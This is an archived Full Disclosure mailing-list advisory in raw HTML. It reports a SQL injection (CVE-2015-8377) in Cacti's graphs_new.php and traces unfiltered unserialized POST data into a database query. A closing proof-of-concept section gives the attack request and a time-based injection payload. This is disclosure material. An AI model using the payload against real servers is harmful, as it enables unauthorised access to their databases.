[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] [CVE-2015-8377] Cacti graphs_new.php SQL Injection Vulnerability



<div style="font:14px/1.5 'Lucida Grande', '微软雅黑';color:#333;"><p 
style="font:14px/1.5 'Arial';margin:0;"><span style="font-family: 'Lucida 
Grande', 'Lucida Sans Unicode', sans-serif; line-height: 
1.5;">==========================</span></p><div 
class="mail_quote_E22B806E4DEE4EBFAACCC165AD9FAAE2" style="font: 14px/1.5 
'Lucida Grande';color:#333;"><div style="font:14px/1.5 'Lucida Grande', 
'微软雅黑';color:#333;"><div style="font-family: 'Lucida Grande', 'Lucida Sans 
Unicode', sans-serif !important;">Advisory: Cacti SQL Injection 
Vulnerability</div><div style="font-family: 'Lucida Grande', 'Lucida Sans 
Unicode', sans-serif !important;">Author:&nbsp;<font color="#0079a5"><a 
href="mailto:xiaotian.wang@xxxxxxxxxxxxxxxxxxxx"; 
title="mailto:xiaotian.wang@xxxxxxxxxxxxxxxxxxxx"; style="text-decoration: none; 
color: rgb(19, 109, 186); -webkit-user-drag: 
none;">xiaotian.wang@xxxxxxxxxxxxxxxxxxxx</a></font></div><div style="widows: 
1; font-family: 'Lucida Grande', 'Lucida Sans Unicode', sans-serif 
!important;">Affected Version:&nbsp;<font color="#000000"><span 
style="font-size: 13px; line-height: normal; background-color: rgb(232, 232, 
232);">0.8.8.f</span></font><font face="Lucida Grande, Lucida Sans Unicode, 
sans-serif">(the latest version &amp; the older versions)</font></div><div 
style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', sans-serif 
!important;">Vendor URL:&nbsp;<a href="http://www.cacti.net/"; 
title="http://www.cacti.net/"; style="text-decoration: none; color: rgb(19, 109, 
186); -webkit-user-drag: none; line-height: 
1.5;">http://www.cacti.net/</a></div><div style="font-family: 'Lucida Grande', 
'Lucida Sans Unicode', sans-serif !important;">Vendor Status:&nbsp;<font 
color="#ff2712">Unfixed</font></div><div style="font-family: 'Lucida Grande', 
'Lucida Sans Unicode', sans-serif 
!important;">==========================</div><div style="font-family: 'Lucida 
Grande', 'Lucida Sans Unicode', sans-serif !important;"><div>Vulnerability 
Description</div><div>==========================</div><div><font 
color="#dd2067">Vulnerable file: /<span style="line-height: 
1.5;">cacti/graphs_new.php:</span></font></div><div><p 
class="MsoBodyTextFirstIndent" style="text-indent: 0cm;"><span 
style="font-size: 10pt; line-height: 20px;">/cacti/graphs_new.php&nbsp; 
line:35&nbsp;<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 16pt;"><span style="font-size: 8pt; line-height: 16px;">if 
(!isset($_REQUEST["action"])) { $_REQUEST["action"] = ""; 
}<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" style="text-indent: 
16pt;"><span style="font-size: 8pt; line-height: 16px;">switch 
($_REQUEST["action"]) {<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 16pt;"><span style="font-size: 8pt; line-height: 
16px;">&nbsp;&nbsp;&nbsp;<span style="color: red;">case 
'save':<o:p></o:p></span></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 16pt;"><span style="font-size: 8pt; line-height: 16px; 
color: 
red;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
form_save(); // highlight 1<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 
16px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
break;<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 16pt;"><span style="font-size: 8pt; line-height: 
16px;">……<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 24pt;"><span style="font-size: 12pt; line-height: 24px; 
color: red;">&nbsp;</span><font color="#005a7c"><b><span style="text-indent: 
24pt; font-size: 12pt; line-height: 24px;">Notice the Highlight 
codes</span><span lang="ZH-CN" style="text-indent: 24pt; font-size: 12pt; 
line-height: 24px;">,</span><span style="text-indent: 24pt; font-size: 12pt; 
line-height: 24px;">track function form_save()</span></b></font></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 0cm;"><span 
style="font-size: 10pt; line-height: 20px;">/cacti/graphs_new.php&nbsp; 
line:59<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 16pt;"><span style="font-size: 8pt; line-height: 
16px;">function&nbsp;<span style="color: 
red;">form_save</span>(){<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px;">&nbsp;&nbsp;&nbsp;</span><span 
lang="ZH-CN" style="font-size: 8pt; line-height: 16px;">省略部分代码</span><span 
style="font-size: 8pt; line-height: 16px;">……<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px;">&nbsp;&nbsp; if 
(isset($_POST["save_component_new_graphs"])) {<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 
16px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span
 style="color: red;">host_new_graphs_save(); &nbsp;//highlight 
2<o:p></o:p></span></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 16pt;"><span style="font-size: 8pt; line-height: 
16px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
header("Location: graphs_new.php?host_id=" . 
$_POST["host_id"]);<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 16pt;"><span style="font-size: 8pt; line-height: 
16px;">……<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 24pt;"><span style="font-size: 12pt; line-height: 
24px;"><font color="#005a7c"><b>Track function 
host_new_graphs_save()</b></font></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 0cm;"><span style="font-size: 10pt; line-height: 
20px;">/cacti/graphs_new.php&nbsp; line:126<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 60);">function 
host_new_graphs_save() {<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 16pt;"><span style="font-size: 8pt; line-height: 16px; 
color: rgb(118, 146, 60);">&nbsp;&nbsp;&nbsp;</span><span style="font-size: 
8pt; line-height: 16px; color: rgb(192, 80, 77);">$selected_graphs_array = 
unserialize(stripslashes($_POST["selected_graphs_array"])); //</span><span 
style="font-size: 8pt; line-height: 16px; color: red;">just unserialize,no 
filter<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 16pt;"><span style="font-size: 8pt; line-height: 16px; 
color: rgb(118, 146, 60);">&nbsp;&nbsp; /* form an array that contains all of 
the data on the previous form */<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
……<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" style="text-indent: 
16pt;"><span style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp; debug_log_clear("new_graphs");<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp; while (list($form_type,&nbsp;</span><span style="font-size: 
8pt; line-height: 16px; color: red;">$form_array</span><span style="font-size: 
8pt; line-height: 16px; color: rgb(118, 146, 60);">) = each(</span><span 
style="font-size: 8pt; line-height: 16px; color: 
red;">$selected_graphs_array</span><span style="font-size: 8pt; line-height: 
16px; color: rgb(118, 146, 60);">)) {<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
$current_form_type = $form_type;<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
while (list($form_id1,&nbsp;</span><span style="font-size: 8pt; line-height: 
16px; color: red;">$form_array2</span><span style="font-size: 8pt; line-height: 
16px; color: rgb(118, 146, 60);">) = each(</span><span style="font-size: 8pt; 
line-height: 16px; color: red;">$form_array</span><span style="font-size: 8pt; 
line-height: 16px; color: rgb(118, 146, 60);">)) {<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 /* enumerate information from the arrays stored in post variables 
*/<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" style="text-indent: 
16pt;"><span style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 if ($form_type == "cg") {<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 $graph_template_id = $form_id1;<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 }elseif ($form_type == "sg") {<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 while (list(</span><span style="font-size: 8pt; line-height: 16px; color: 
red;">$form_id2</span><span style="font-size: 8pt; line-height: 16px; color: 
rgb(118, 146, 60);">, $form_array3) = each(</span><span style="font-size: 8pt; 
line-height: 16px; color: red;">$form_array2</span><span style="font-size: 8pt; 
line-height: 16px; color: rgb(118, 146, 60);">)) {<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 $snmp_index_array = $form_array3;<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 $snmp_query_array["snmp_query_id"] = $form_id1;<o:p></o:p></span></p><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 $snmp_query_array["snmp_index_on"] = 
get_best_data_query_index_type($_POST["host_id"], 
$form_id1);<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 16pt;"><span style="font-size: 8pt; line-height: 16px; 
color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span
 style="font-size: 8pt; line-height: 16px; color: 
red;">$snmp_query_array["snmp_query_graph_id"] = $form_id2</span><span 
style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 60);">; 
&nbsp;//highlight 3<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" 
style="text-indent: 16pt;"><span style="font-size: 8pt; line-height: 16px; 
color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 }<o:p></o:p></span></p><p class="MsoBodyTextFirstIndent" style="text-indent: 
16pt;"><span style="font-size: 8pt; line-height: 16px; color: rgb(118, 146, 
60);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
 $graph_template_id =&nbsp;</span><span style="font-size: 8pt; line-height: 
16px; color: red;">db_fetch_cell</span><span style="font-size: 8pt; 
line-height: 16px; color: rgb(118, 146, 60);">("select graph_template_id from 
snmp_query_graph where</span><span style="font-size: 8pt; line-height: 16px; 
color: red;">&nbsp;id=" . $snmp_query_array["snmp_query_graph_id"]); &nbsp;//no 
filter, cause a sql injection.<o:p></o:p></span></p></div><div><p 
class="MsoBodyTextFirstIndent" style="text-indent: 16pt;"><span 
style="font-size: 18px;"><font color="#003c52">Notice that 
variable&nbsp;$selected_graphs_array just unserialized the POST variable which 
we can control without filter. Then the variable&nbsp;goes into a&nbsp;<span 
style="line-height: 20px; widows: 1;">&nbsp;</span><a target="_blank" 
hidefocus="true" 
href="http://www.baidu.com/link?url=vhTzEqeVpepj7tjBUTmfXpIqFhO-bfRm2MuL34Wzj_8EkSpTit2xWwEvF82RBNvGIBJ8bfEdixgEdBwVKVGjW9r7Uig-VdJZqNJqfIpiKkmB-4o1CoW_QUMg3D_ZK5SH";
 
title="http://www.baidu.com/link?url=vhTzEqeVpepj7tjBUTmfXpIqFhO-bfRm2MuL34Wzj_8EkSpTit2xWwEvF82RBNvGIBJ8bfEdixgEdBwVKVGjW9r7Uig-VdJZqNJqfIpiKkmB-4o1CoW_QUMg3D_ZK5SH";
 style="text-decoration: none; color: rgb(19, 109, 186); -webkit-user-drag: 
none; line-height: 20px; widows: 1;">three-dimensional array</a>&nbsp;, and 
finally the dirty data we can control enter into the select database query, 
which caused a&nbsp;</font><font color="#a8184b">SQL injection</font><font 
color="#003c52">.</font></span></p></div></div><div style="font-family: 'Lucida 
Grande', 'Lucida Sans Unicode', sans-serif 
!important;">==========================</div><div style="font-family: 'Lucida 
Grande', 'Lucida Sans Unicode', sans-serif !important;">POC &amp;&amp; 
EXP</div><div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 
sans-serif !important;">==========================</div><div 
style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', sans-serif 
!important;">1. Login</div><div style="font-family: 'Lucida Grande', 'Lucida 
Sans Unicode', sans-serif !important;">2. POST &nbsp;<a 
href="http://target/cacti/graphs_new.php"; 
title="http://target/cacti/graphs_new.php"; style="text-decoration: none; color: 
rgb(19, 109, 186); -webkit-user-drag: 
none;">http://target/cacti/graphs_new.php</a></div><div style="font-family: 
'Lucida Grande', 'Lucida Sans Unicode', sans-serif !important;">&nbsp; 
&nbsp;Data: 
__csrf_magic=sid%3A55c34c49f0a1e4abf5739766855abdfa96fbc91b%2C1448716384&amp;action=save&amp;save_component_new_graphs=1&amp;host_id=1&amp;selected_graphs_array=[injection]</div><div
 style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', sans-serif 
!important;"><span class="Apple-tab-span" style="white-space: pre;">    
</span>{Injection exp can be found on my server:&nbsp;<a 
href="http://pandas.pw/cacti.exp"; title="http://pandas.pw/cacti.exp"; 
style="text-decoration: none; color: rgb(19, 109, 186); -webkit-user-drag: 
none;">http://pandas.pw/cacti.exp</a>}</div><div style="font-family: 'Lucida 
Grande', 'Lucida Sans Unicode', sans-serif !important;">3. mysql log: select 
graph_template_id from snmp_query_graph where id=1 and 
benchmark(20000000,sha1(1))--</div><div style="font-family: 'Lucida Grande', 
'Lucida Sans Unicode', sans-serif 
!important;">====================</div></div></div></div>

Attachment: cacti sqli(1).txt
Description: Binary data

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/